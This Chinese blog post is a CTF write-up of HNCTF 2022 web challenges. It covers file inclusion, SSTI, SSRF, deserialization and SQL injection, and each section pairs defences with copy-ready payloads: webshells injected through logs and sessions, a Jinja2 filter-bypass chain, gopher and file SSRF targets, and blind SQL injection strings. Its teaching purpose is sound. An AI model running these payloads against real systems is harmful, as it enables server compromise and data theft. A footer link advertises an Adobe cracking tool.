news 2026/10/30 8:14:43

【Web安全】从HNCTF 2022题解看常见Web漏洞实战利用与防御

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【Web安全】从HNCTF 2022题解看常见Web漏洞实战利用与防御

1. Web安全实战:从HNCTF 2022看漏洞攻防本质

去年参加HNCTF时,我发现很多选手面对Web题总是束手无策。其实CTF中的Web漏洞都是真实网络攻防的缩影,比如某电商平台就曾因文件包含漏洞导致百万用户数据泄露。让我们以HNCTF 2022的典型题目为例,拆解五大核心漏洞的攻防逻辑。

Web安全本质上是一场输入与过滤的博弈。攻击者想方设法构造异常输入,防御者则通过过滤和校验建立安全边界。在Interesting_include这道题中,出题人用php://filter伪协议设置陷阱,这正是现实中攻击者读取系统文件的常用手段。去年某CMS爆出的高危漏洞(CVE-2022-31626)利用方式与此如出一辙。

2. 文件包含漏洞:从任意读到RCE的进化

2.1 基础利用手法

在easy_include题目中,典型的日志文件包含漏洞演示了攻击链条:

  1. 通过?file=/var/log/nginx/access.log确认漏洞存在
  2. 在User-Agent中植入PHP代码:<?php system($_GET['cmd']);?>
  3. 包含日志文件触发代码执行

我调试时发现个细节:Apache默认日志路径是/var/log/apache2/access.log,而Nginx则是/var/log/nginx/access.log。这种差异在实战中可能导致攻击失败。

2.2 高阶绕过技巧

QAQ_1inclu4e题目展示了进阶玩法——Session文件包含。解题时需要:

  1. 通过条件竞争上传恶意Session
  2. 包含/tmp/sess_[id]文件
  3. 使用PHP的session.upload_progress特性
# 条件竞争脚本核心逻辑 def upload(session): while True: files = {'file': ('shell.php', '<?php eval($_POST[1]);?>')} data = {'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("id");?>'} session.post(url, files=files, data=data, cookies={'PHPSESSID':'test'})

2.3 防御方案

  • 禁用危险协议:php.ini中设置allow_url_include=Off
  • 白名单校验:$allowed = ['about.php','contact.php']; if(!in_array($file, $allowed)) die();
  • 目录限制:open_basedir = /var/www/html

3. SSTI漏洞:模板引擎的致命缺陷

3.1 漏洞原理

ez_SSTI题目使用Flask框架,当使用{{7*7}}测试返回49时,就确认存在模板注入。不同引擎的payload差异很大:

引擎类型测试Payload危险函数调用
Jinja2{{config.__class__}}__globals__.__builtins__.eval
Twig{{_self.env}}system("id")
Smarty{system("id")}直接执行系统命令

3.2 实战利用

在ssssti题目中,我通过分步测试发现过滤规则:

  1. 先尝试{{lipsum.__globals__}}获取全局变量
  2. 发现os模块被禁后,改用__import__('subprocess').check_output('ls')
  3. 最终payload采用链式调用绕过过滤:
?name={{lipsum[request.a][request.b][request.c](request.d).popen(request.e).read()}} &a=__globals__&b=__builtins__&c=__import__&d=os&e=cat /flag

3.3 防御建议

  • 禁用动态模板:env = Environment(undefined=StrictUndefined)
  • 内容转义:from markupsafe import escape; escape(user_input)
  • 沙箱隔离:使用jinja2.sandbox.SandboxedEnvironment

4. SSRF漏洞:内网渗透的跳板

4.1 基础利用

ez_ssrf题目演示了典型的SSRF攻击链:

  1. 发现?url=http://example.com参数
  2. 尝试访问内网服务:http://127.0.0.1:8080
  3. 通过CRLF注入构造完整HTTP请求:
GET /flag.php HTTP/1.1 Host: 127.0.0.1 Connection: Close

4.2 协议拓展攻击

除了HTTP协议,SSRF还可能利用:

  • file协议:file:///etc/passwd
  • dict协议:dict://127.0.0.1:6379/info(探测Redis)
  • gopher协议:可构造任意TCP流量

某次实战中,我通过gopher://协议成功攻击了内网的Redis服务,实现了未授权访问。

4.3 防御方案

  • 协议白名单:if(!['http','https'].includes(url.protocol)) reject();
  • 域名黑名单:blocked = ['localhost','127.0.0.1']; if(blocked.some(v=>url.host.includes(v))) reject();
  • 请求限制:禁用CURLOPT_FOLLOWLOCATION

5. 反序列化漏洞:对象注入的艺术

5.1 POP链构造

easy_unser题目需要绕过__wakeup魔术方法,关键步骤:

  1. 分析源码找到可利用的类方法
  2. 构造属性覆盖:O:4:"body":3:{s:10:"\x00body\x00want";s:36:"php://filter/convert.base64-encode/resource=f14g.php";}
  3. 注意PHP7+私有属性编码问题
class VulnerableClass { private $cmd = "id"; function __destruct() { system($this->cmd); } } unserialize($_GET['data']); // 注入对象

5.2 Phar反序列化

ez_phar题目展示了更隐蔽的攻击方式:

  1. 创建恶意phar文件
  2. 通过文件操作函数触发:file_exists('phar://uploaded/file')
  3. 自动执行Metadata中的对象方法

5.3 防御措施

  • 禁用危险函数:disable_functions = unserialize
  • 签名校验:phar.require_hash=On
  • 使用JSON替代:json_decode($data, true)

6. SQL注入:永恒的安全课题

6.1 无列名注入

easy_sql题目演示了当information_schema被禁用时的注入技巧:

0' union select 1,2,group_concat(`1`) from (select 1 union select * from secret_table) x where '1

这种技术在我审计某开源项目时同样适用,通过子查询别名访问未知列名。

6.2 时间盲注进阶

ohmywordpress题目需要结合时间盲注和WordPress特性:

payload = { "action": "qcopd_upvote_action", "post_id": f"(SELECT IF(ASCII(SUBSTR((SELECT GROUP_CONCAT(a) FROM " f"(SELECT 1 as a UNION SELECT * FROM flag)b),{i},1))={o},SLEEP(3),0))" }

6.3 防御方案

  • 预编译语句:$stmt = $pdo->prepare("SELECT * FROM users WHERE id=?");
  • 最小权限原则:数据库账户仅授予必要权限
  • WAF规则:过滤union select、information_schema等关键词

在fun_sql题目中,我意外发现load_file()函数可以绕过某些过滤规则读取文件,这提醒我们防御需要多层设计。某次真实渗透测试中,正是通过这种特性成功读取了服务器配置文件。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/21 12:36:51

emWin实战:RADIO与QRCODE控件API详解与避坑指南

1. 项目概述与核心价值在嵌入式GUI开发这片战场上&#xff0c;控件就像是构建交互界面的“乐高积木”。你手头可能有一块功能强大的MCU&#xff0c;一块色彩鲜艳的显示屏&#xff0c;但如何让用户能直观、高效地与你的设备对话&#xff0c;这中间的桥梁就是各种控件。今天&…

作者头像 李华
网站建设 2026/10/26 3:23:59

3步激活Adobe全家桶:Adobe-GenP破解工具的智能化解决方案

3步激活Adobe全家桶&#xff1a;Adobe-GenP破解工具的智能化解决方案 【免费下载链接】Adobe-GenP Adobe CC 2019/2020/2021/2022/2023 GenP Universal Patch 3.0 项目地址: https://gitcode.com/gh_mirrors/ad/Adobe-GenP 在创意设计领域&#xff0c;Adobe Creative Cl…

作者头像 李华
网站建设 2026/10/21 18:47:22

Linux Wallpaper Engine完全指南:打造炫酷动态桌面的终极教程

Linux Wallpaper Engine完全指南&#xff1a;打造炫酷动态桌面的终极教程 【免费下载链接】linux-wallpaperengine Wallpaper Engine backgrounds for Linux! 项目地址: https://gitcode.com/gh_mirrors/li/linux-wallpaperengine 想要为你的Linux桌面注入活力吗&#x…

作者头像 李华
网站建设 2026/10/21 18:47:56

网易游戏NPK文件解包终极指南:轻松提取阴阳师等游戏资源

网易游戏NPK文件解包终极指南&#xff1a;轻松提取阴阳师等游戏资源 【免费下载链接】unnpk 解包网易游戏NeoX引擎NPK文件&#xff0c;如阴阳师、魔法禁书目录。 项目地址: https://gitcode.com/gh_mirrors/un/unnpk 想要探索网易游戏背后的资源文件吗&#xff1f;无论是…

作者头像 李华
网站建设 2026/10/21 22:54:01

Grok 4.3 Beta多模态视频理解实战:流式推理与工程落地指南

1. 项目概述&#xff1a;这不是一次常规版本更新&#xff0c;而是一次多模态能力的临界点突破“Grok 4.3 Beta 核心功能深度测评”——这个标题里藏着三个关键信号&#xff1a;Grok是模型家族代号&#xff0c;4.3是版本号&#xff0c;Beta不是测试噱头&#xff0c;而是明确告诉…

作者头像 李华